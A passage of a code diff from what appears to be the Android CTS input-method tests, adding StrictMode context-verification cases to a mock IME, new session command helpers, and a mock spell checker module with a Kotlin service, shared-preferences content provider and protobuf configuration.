+                        final WindowManager configContextWm =
+                                configContext.getSystemService(WindowManager.class);
+                        final WindowManager attrContextWm =
+                                attrContext.getSystemService(WindowManager.class);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetViewConfiguration": {
+                        final ViewConfiguration imsViewConfig = ViewConfiguration.get(this);
+                        final ViewConfiguration configContextViewConfig =
+                                ViewConfiguration.get(configContext);
+                        final ViewConfiguration attrContextViewConfig =
+                                ViewConfiguration.get(attrContext);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetGestureDetector": {
+                        GestureDetector.SimpleOnGestureListener listener =
+                                new GestureDetector.SimpleOnGestureListener();
+                        final GestureDetector imsGestureDetector =
+                                new GestureDetector(this, listener);
+                        final GestureDetector configContextGestureDetector =
+                                new GestureDetector(configContext, listener);
+                        final GestureDetector attrGestureDetector =
+                                new GestureDetector(attrContext, listener);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetWindowManagerOnDisplayContext": {
+                        // Obtaining a WindowManager on a display context must throw a strict mode
+                        // violation.
+                        final WindowManager wm = displayContext
+                                .getSystemService(WindowManager.class);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetViewConfigurationOnDisplayContext": {
+                        // Obtaining a ViewConfiguration on a display context must throw a strict
+                        // mode violation.
+                        final ViewConfiguration viewConfiguration =
+                                ViewConfiguration.get(displayContext);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetGestureDetectorOnDisplayContext": {
+                        // Obtaining a GestureDetector on a display context must throw a strict mode
+                        // violation.
+                        GestureDetector.SimpleOnGestureListener listener =
+                                new GestureDetector.SimpleOnGestureListener();
+                        final GestureDetector gestureDetector =
+                                new GestureDetector(displayContext, listener);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
                 }
             }
             return ImeEvent.RETURN_VALUE_UNAVAILABLE;
         });
     }
 
+    private boolean verifyGetDisplay() throws UnsupportedOperationException {
+        final Display display;
+        final Display configContextDisplay;
+        final Configuration config = new Configuration();
+        config.setToDefaults();
+        final Context configContext = createConfigurationContext(config);
+        display = getDisplay();
+        configContextDisplay = configContext.getDisplay();
+        return display != null && configContextDisplay != null;
+    }
+
     @Nullable
     private Bundle mInlineSuggestionsExtras;
 
@@ -397,7 +471,7 @@
                             .detectIncorrectContextUse()
                             .penaltyLog()
                             .penaltyListener(Runnable::run,
-                                    v -> getTracer().onStrictModeViolated(() -> {}))
+                                    v -> getTracer().onStrictModeViolated(() -> { }))
                             .build());
         }
 
@@ -414,7 +488,9 @@
             } else {
                 registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
             }
-
+            if (mSettings.isVerifyGetDisplayOnCreate()) {
+                getTracer().onVerify("getDisplay", this::verifyGetDisplay);
+            }
             final int windowFlags = mSettings.getWindowFlags(0);
             final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
             if (windowFlags != 0 || windowFlagsMask != 0) {
@@ -677,6 +753,15 @@
                 () -> super.onUpdateCursorAnchorInfo(cursorAnchorInfo));
     }
 
+    @Override
+    public void onUpdateSelection(int oldSelStart, int oldSelEnd, int newSelStart, int newSelEnd,
+            int candidatesStart, int candidatesEnd) {
+        getTracer().onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
+                candidatesStart, candidatesEnd,
+                () -> super.onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
+                        candidatesStart, candidatesEnd));
+    }
+
     @CallSuper
     public boolean onEvaluateInputViewShown() {
         return getTracer().onEvaluateInputViewShown(() -> {
@@ -780,8 +865,12 @@
             presentationSpecs.add(new InlinePresentationSpec.Builder(new Size(100, 100),
                     new Size(400, 100)).setStyle(styles).build());
 
+            final InlinePresentationSpec tooltipSpec =
+                    new InlinePresentationSpec.Builder(new Size(100, 100),
+                            new Size(400, 100)).setStyle(styles).build();
             final InlineSuggestionsRequest.Builder builder =
                     new InlineSuggestionsRequest.Builder(presentationSpecs)
+                            .setInlineTooltipPresentationSpec(tooltipSpec)
                             .setMaxSuggestionCount(6);
             if (mInlineSuggestionsExtras != null) {
                 builder.setExtras(mInlineSuggestionsExtras.deepCopy());
@@ -936,6 +1025,12 @@
             recordEventInternal("onCreate", runnable);
         }
 
+        void onVerify(String name, @NonNull BooleanSupplier supplier) {
+            final Bundle arguments = new Bundle();
+            arguments.putString("name", name);
+            recordEventInternal("onVerify", supplier::getAsBoolean, arguments);
+        }
+
         void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly,
                 @NonNull Runnable runnable) {
             final Bundle arguments = new Bundle();
@@ -1001,6 +1096,23 @@
             recordEventInternal("onUpdateCursorAnchorInfo", runnable, arguments);
         }
 
+        void onUpdateSelection(int oldSelStart,
+                int oldSelEnd,
+                int newSelStart,
+                int newSelEnd,
+                int candidatesStart,
+                int candidatesEnd,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putInt("oldSelStart", oldSelStart);
+            arguments.putInt("oldSelEnd", oldSelEnd);
+            arguments.putInt("newSelStart", newSelStart);
+            arguments.putInt("newSelEnd", newSelEnd);
+            arguments.putInt("candidatesStart", candidatesStart);
+            arguments.putInt("candidatesEnd", candidatesEnd);
+            recordEventInternal("onUpdateSelection", runnable, arguments);
+        }
+
         boolean onShowInputRequested(int flags, boolean configChange,
                 @NonNull BooleanSupplier supplier) {
             final Bundle arguments = new Bundle();
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 9a5eba8..56d798f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -16,12 +16,16 @@
 
 package com.android.cts.mockime;
 
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.app.UiAutomation;
+import android.app.compat.CompatChanges;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -31,6 +35,7 @@
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.provider.Settings;
 import android.text.TextUtils;
 import android.view.KeyEvent;
@@ -46,12 +51,12 @@
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.AssumptionViolatedException;
 
 import java.io.IOException;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
@@ -264,6 +269,21 @@
     }
 
     /**
+     * Whether {@link MockIme} enabled a compatibility flag to finish input without fallback
+     * input connection when device interactive state changed. See detailed description in
+     * {@link MockImeSession#setEnabledFinishInputNoFallbackConnection}.
+     *
+     * @return {@code true} if the compatibility flag is enabled.
+     */
+    public static boolean isFinishInputNoFallbackConnectionEnabled() {
+        AtomicBoolean result = new AtomicBoolean();
+        runWithShellPermissionIdentity(() ->
+                result.set(CompatChanges.isChangeEnabled(FINISH_INPUT_NO_FALLBACK_CONNECTION,
+                        MockIme.getComponentName().getPackageName(), UserHandle.CURRENT)));
+        return result.get();
+    }
+
+    /**
      * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
      *         session is created.
      */
@@ -283,7 +303,6 @@
                         .getEnabledInputMethodList()
                         .stream()
                         .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
-
         mContext.unregisterReceiver(mEventReceiver);
         mHandlerThread.quitSafely();
         mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
@@ -747,6 +766,20 @@
     }
 
     /**
+     * Lets {@link MockIme} to call {@link InputConnection#performSpellCheck()}.
+     *
+     * <p>This triggers {@code getCurrentInputConnection().performSpellCheck()}.</p>
+     *
+     * @return {@link ImeCommand} object that can be passed to
+     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+     *         wait until this event is handled by {@link MockIme}
+     */
+    @NonNull
+    public ImeCommand callPerformSpellCheck() {
+        return callCommandInternal("performSpellCheck", new Bundle());
+    }
+
+    /**
      * Lets {@link MockIme} to call {@link InputConnection#clearMetaKeyStates(int)} with the given
      * parameters.
      *
@@ -1044,4 +1077,24 @@
     public ImeCommand callVerifyGetViewConfiguration() {
         return callCommandInternal("verifyGetViewConfiguration", new Bundle());
     }
+
+    @NonNull
+    public ImeCommand callVerifyGetGestureDetector() {
+        return callCommandInternal("verifyGetGestureDetector", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetWindowManagerOnDisplayContext() {
+        return callCommandInternal("verifyGetWindowManagerOnDisplayContext", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetViewConfigurationOnDisplayContext() {
+        return callCommandInternal("verifyGetViewConfigurationOnDisplayContext", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetGestureDetectorOnDisplayContext() {
+        return callCommandInternal("verifyGetGestureDetectorOnDisplayContext", new Bundle());
+    }
 }
diff --git a/tests/inputmethod/mockspellchecker/Android.bp b/tests/inputmethod/mockspellchecker/Android.bp
new file mode 100644
index 0000000..875331c
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/Android.bp
@@ -0,0 +1,55 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_helper_library {
+    name: "CtsMockSpellCheckerLib",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.kt",
+        "src/**/*.proto",
+    ],
+    libs: ["junit"],
+    proto: {
+        type: "lite",
+    },
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsMockSpellChecker",
+    defaults: ["cts_defaults"],
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+    min_sdk_version: "19",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "CtsMockSpellCheckerLib",
+    ],
+}
diff --git a/tests/inputmethod/mockspellchecker/AndroidManifest.xml b/tests/inputmethod/mockspellchecker/AndroidManifest.xml
new file mode 100644
index 0000000..f076bb1
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.mockspellchecker">
+
+    <application android:multiArch="true"
+                 android:supportsRtl="true">
+
+        <meta-data android:name="instantapps.clients.allowed"
+                   android:value="true"/>
+
+        <service android:name=".MockSpellChecker"
+                 android:label="@string/spell_checker_name"
+                 android:permission="android.permission.BIND_TEXT_SERVICE"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="android.service.textservice.SpellCheckerService"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="android.view.textservice.scs"
+                android:resource="@xml/spellchecker"/>
+        </service>
+
+        <provider android:authorities="com.android.cts.mockspellchecker.provider"
+                  android:name=".SharedPrefsProvider"
+                  android:exported="true"
+                  android:visibleToInstantApps="true">
+        </provider>
+
+    </application>
+</manifest>
diff --git a/tests/inputmethod/mockspellchecker/res/values/values.xml b/tests/inputmethod/mockspellchecker/res/values/values.xml
new file mode 100644
index 0000000..4accba9
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/res/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="spell_checker_name">Mock Spell Checker</string>
+</resources>
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
new file mode 100644
index 0000000..18f96ada
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<spell-checker xmlns:android="http://schemas.android.com/apk/res/android"
+    android:label="@string/spell_checker_name">
+    <subtype
+        android:label="English"
+        android:subtypeLocale="en"
+        android:languageTag="en-US"
+    />
+</spell-checker>
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt
new file mode 100644
index 0000000..8653e94
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockspellchecker
+
+const val TAG = "MockSpellChecker"
+const val PACKAGE = "com.android.cts.mockspellchecker"
+const val AUTHORITY = "com.android.cts.mockspellchecker.provider"
+
+internal const val KEY_CONFIGURATION = "configuration"
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
new file mode 100644
index 0000000..45730c5
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.ComponentName
+import android.service.textservice.SpellCheckerService
+import android.util.Log
+import android.view.textservice.SentenceSuggestionsInfo
+import android.view.textservice.SuggestionsInfo
+import android.view.textservice.TextInfo
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.SuggestionRule
+import java.io.FileDescriptor
+import java.io.PrintWriter
+
+internal inline fun <T> withLog(msg: String, block: () -> T): T {
+    Log.i(TAG, msg)
+    return block()
+}
+
+/** Mock Spell checker for end-to-end tests. */
+class MockSpellChecker : SpellCheckerService() {
+
+    override fun onCreate() = withLog("MockSpellChecker.onCreate") {
+        super.onCreate()
+    }
+
+    override fun onDestroy() = withLog("MockSpellChecker.onDestroy") {
+        super.onDestroy()
+    }
+
+    override fun dump(fd: FileDescriptor?, writer: PrintWriter?, args: Array<out String>?) {
+        writer?.println("MockSpellChecker")
+    }
+
+    override fun createSession(): Session = withLog("MockSpellChecker.createSession") {
+        return MockSpellCheckerSession()
+    }
+
+    private inner class MockSpellCheckerSession : SpellCheckerService.Session() {
+
+        override fun onCreate() = withLog("MockSpellCheckerSession.onCreate") {
+        }
+
+        override fun onGetSentenceSuggestionsMultiple(
+            textInfos: Array<out TextInfo>?,
+            suggestionsLimit: Int
+        ): Array<SentenceSuggestionsInfo> = withLog(
+                "MockSpellCheckerSession.onGetSuggestionsMultiple " +
+                        "${textInfos?.map { it.text }?.joinToString(":")}") {
+            if (textInfos == null) return emptyArray()
+            val configuration = MockSpellCheckerConfiguration.parseFrom(
+                    SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
+            if (configuration.matchSentence)
+                return textInfos.map { matchSentenceSuggestion(configuration, it) }.toTypedArray()
+            return super.onGetSentenceSuggestionsMultiple(textInfos, suggestionsLimit)
+        }
+
+        private fun matchSentenceSuggestion(
+            configuration: MockSpellCheckerConfiguration,
+            textInfo: TextInfo
+        ): SentenceSuggestionsInfo {
+            return configuration.suggestionRulesList.find { it.match == textInfo.text }
+                    ?.let {
+                        SentenceSuggestionsInfo(
+                                arrayOf(suggestionsInfo(it, textInfo.cookie, textInfo.sequence)),
+                                intArrayOf(if (it.hasStartOffset()) it.startOffset else 0),
+                                intArrayOf(if (it.hasLength()) it.length else textInfo.text.length))
+                    }
+                    ?: SentenceSuggestionsInfo(emptyArray(), intArrayOf(), intArrayOf())
+        }
+
+        override fun onGetSuggestions(
+            textInfo: TextInfo?,
+            suggestionsLimit: Int
+        ): SuggestionsInfo = withLog(
+                "MockSpellCheckerSession.onGetSuggestions: ${textInfo?.text}") {
+            if (textInfo == null) return emptySuggestionsInfo()
+            val configuration = MockSpellCheckerConfiguration.parseFrom(
+                    SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
+            return configuration.suggestionRulesList
+                    .find { it.match == textInfo.text }
+                    ?.let { suggestionsInfo(it) }
+                    ?: emptySuggestionsInfo()
+        }
+
+        private fun suggestionsInfo(rule: SuggestionRule): SuggestionsInfo {
+            return suggestionsInfo(rule, 0, 0)
+        }
+
+        private fun suggestionsInfo(
+            rule: SuggestionRule,
+            cookie: Int,
+            sequence: Int
+        ): SuggestionsInfo {
+            // Only use attrs in supportedAttributes
+            val attrs = rule.attributes and supportedAttributes
+            return SuggestionsInfo(attrs, rule.suggestionsList.toTypedArray(), cookie, sequence)
+        }
+
+        private fun emptySuggestionsInfo() = SuggestionsInfo(0, arrayOf())
+    }
+
+    companion object {
+        @JvmStatic
+        fun getId(): String =
+                ComponentName(PACKAGE, MockSpellChecker::class.java.name).flattenToShortString()
+    }
+}
\ No newline at end of file
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
new file mode 100644
index 0000000..00aef45
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.Context
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+
+/**
+ * Client interface for {@link MockSpellChecker}.
+ *
+ * <p>This class should be used by test apps.
+ */
+class MockSpellCheckerClient(private val context: Context) : AutoCloseable {
+
+    fun updateConfiguration(configuration: MockSpellCheckerConfiguration) {
+        SharedPrefsProvider.put(
+                context.contentResolver, KEY_CONFIGURATION, configuration.toByteArray())
+    }
+
+    override fun close() {
+        SharedPrefsProvider.delete(context.contentResolver, KEY_CONFIGURATION)
+    }
+
+    companion object {
+        @JvmStatic
+        fun create(context: Context, configuration: MockSpellCheckerConfiguration):
+                MockSpellCheckerClient {
+            val client = MockSpellCheckerClient(context)
+            client.updateConfiguration(configuration)
+            return client
+        }
+    }
+}
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt
new file mode 100644
index 0000000..7e23885
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/SharedPrefsProvider.kt
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mockspellchecker
+
+import android.content.ContentProvider
+import android.content.ContentResolver
+import android.content.ContentValues
+import android.content.Context
+import android.database.Cursor
+import android.database.MatrixCursor
+import android.net.Uri
+import android.util.Base64
+
+private const val PREFS_FILE_NAME = "prefs.xml"
+private const val COLUMN_NAME = "value"
+
+/**
+ * ContentProvider to access MockSpellChecker's shared preferences.
+ *
+ * <p>Please use the companion object methods to interact with this ContentProvider. The companion
+ * object methods can be used from other processes.
+ *
+ * <p>This class supports ByteArray value only.
+ */
+class SharedPrefsProvider : ContentProvider() {
+
+    override fun onCreate(): Boolean = withLog("SharedPrefsProvider.onCreate") { true }
+
+    override fun getType(uri: Uri): String? = null
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor? = withLog("SharedPrefsProvider.query: $uri") {
+        val context = context ?: return null
+        val prefs = getSharedPreferences(context)
+        val bytes = Base64.decode(prefs.getString(uri.path, ""), Base64.DEFAULT)
+        val cursor = MatrixCursor(arrayOf(COLUMN_NAME))
+        cursor.addRow(arrayOf(bytes))
+        return cursor
+    }
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri? =
+            withLog("SharedPrefsProvider.insert: $uri") { null }
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int = withLog("SharedPrefsProvider.update: $uri") {
+        val context = context ?: return 0
+        if (values == null) return 0
+        val prefs = getSharedPreferences(context)
+        val bytes = values.getAsByteArray(COLUMN_NAME)
+        val str = Base64.encodeToString(bytes, Base64.DEFAULT)
+        prefs.edit().putString(uri.path, str).apply()
+        return 1
+    }
+
+    override fun delete(
+        uri: Uri,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int = withLog("SharedPrefsProvider.delete: $uri") {
+        val context = context ?: return 0
+        val prefs = getSharedPreferences(context)
+        prefs.edit().remove(uri.path).apply()
+        return 1
+    }
+
+    private fun getSharedPreferences(context: Context) =
+        context.getSharedPreferences(PREFS_FILE_NAME, Context.MODE_PRIVATE)
+
+    companion object {
+        /** Returns the data for the key. */
+        fun get(resolver: ContentResolver, key: String): ByteArray {
+            val cursor = resolver.query(uriFor(key), arrayOf(COLUMN_NAME), null, null)
+            return if (cursor != null && cursor.moveToNext()) {
+                cursor.getBlob(0)
+            } else {
+                ByteArray(0)
+            }
+        }
+
+        /** Stores the data for the key. */
+        fun put(resolver: ContentResolver, key: String, value: ByteArray) {
+            val values = ContentValues()
+            values.put(COLUMN_NAME, value)
+            resolver.update(uriFor(key), values, null)
+        }
+
+        /** Deletes the data for the key. */
+        fun delete(resolver: ContentResolver, key: String) {
+            resolver.delete(uriFor(key), null)
+        }
+
+        private fun uriFor(key: String): Uri = Uri.parse("content://$AUTHORITY/$key")
+    }
+}
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto
new file mode 100644
index 0000000..572b2de
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/mockspellchecker.proto
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+syntax = "proto2";
+
+package com.android.cts.mockspellchecker;
+
+option java_outer_classname = "MockSpellCheckerProto";
+
+// Represents a suggestion rule.
+// If the string matches 'match', SuggestionsInfo with attributes and suggestions are appended.
+message SuggestionRule {
+  optional string match = 1;
+  optional int32 attributes = 2;
+  repeated string suggestions = 3;
+  optional int32 start_offset = 4;
+  optional int32 length = 5;
+}
+
+// Represents a MockSpellChecker configuration.
+message MockSpellCheckerConfiguration {
+  repeated SuggestionRule suggestion_rules = 1;
+  optional bool match_sentence = 2;
+};
diff --git a/tests/inputmethod/res/layout/inputmethod_edittext.xml b/tests/inputmethod/res/layout/inputmethod_edittext.xml
deleted file mode 100644
index a8f442e..0000000
--- a/tests/inputmethod/res/layout/inputmethod_edittext.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright (C) 2017 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="wrap_content"
-    android:background="@drawable/blue"
-    android:padding="10px">
-
-    <EditText
-        android:id="@+id/entry"
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content"
-        android:background="@android:drawable/editbox_background"/>
-
-</RelativeLayout>
diff --git a/tests/inputmethod/spellcheckingime/Android.bp b/tests/inputmethod/spellcheckingime/Android.bp
new file mode 100644
index 0000000..a9a08cb
--- /dev/null
+++ b/tests/inputmethod/spellcheckingime/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSpellCheckingIme",
+    srcs: ["src/**/*.java"],
+    defaults: ["cts_defaults"],
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+    min_sdk_version: "19",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+}
diff --git a/tests/inputmethod/spellcheckingime/AndroidManifest.xml b/tests/inputmethod/spellcheckingime/AndroidManifest.xml
new file mode 100644
index 0000000..08faffa
--- /dev/null
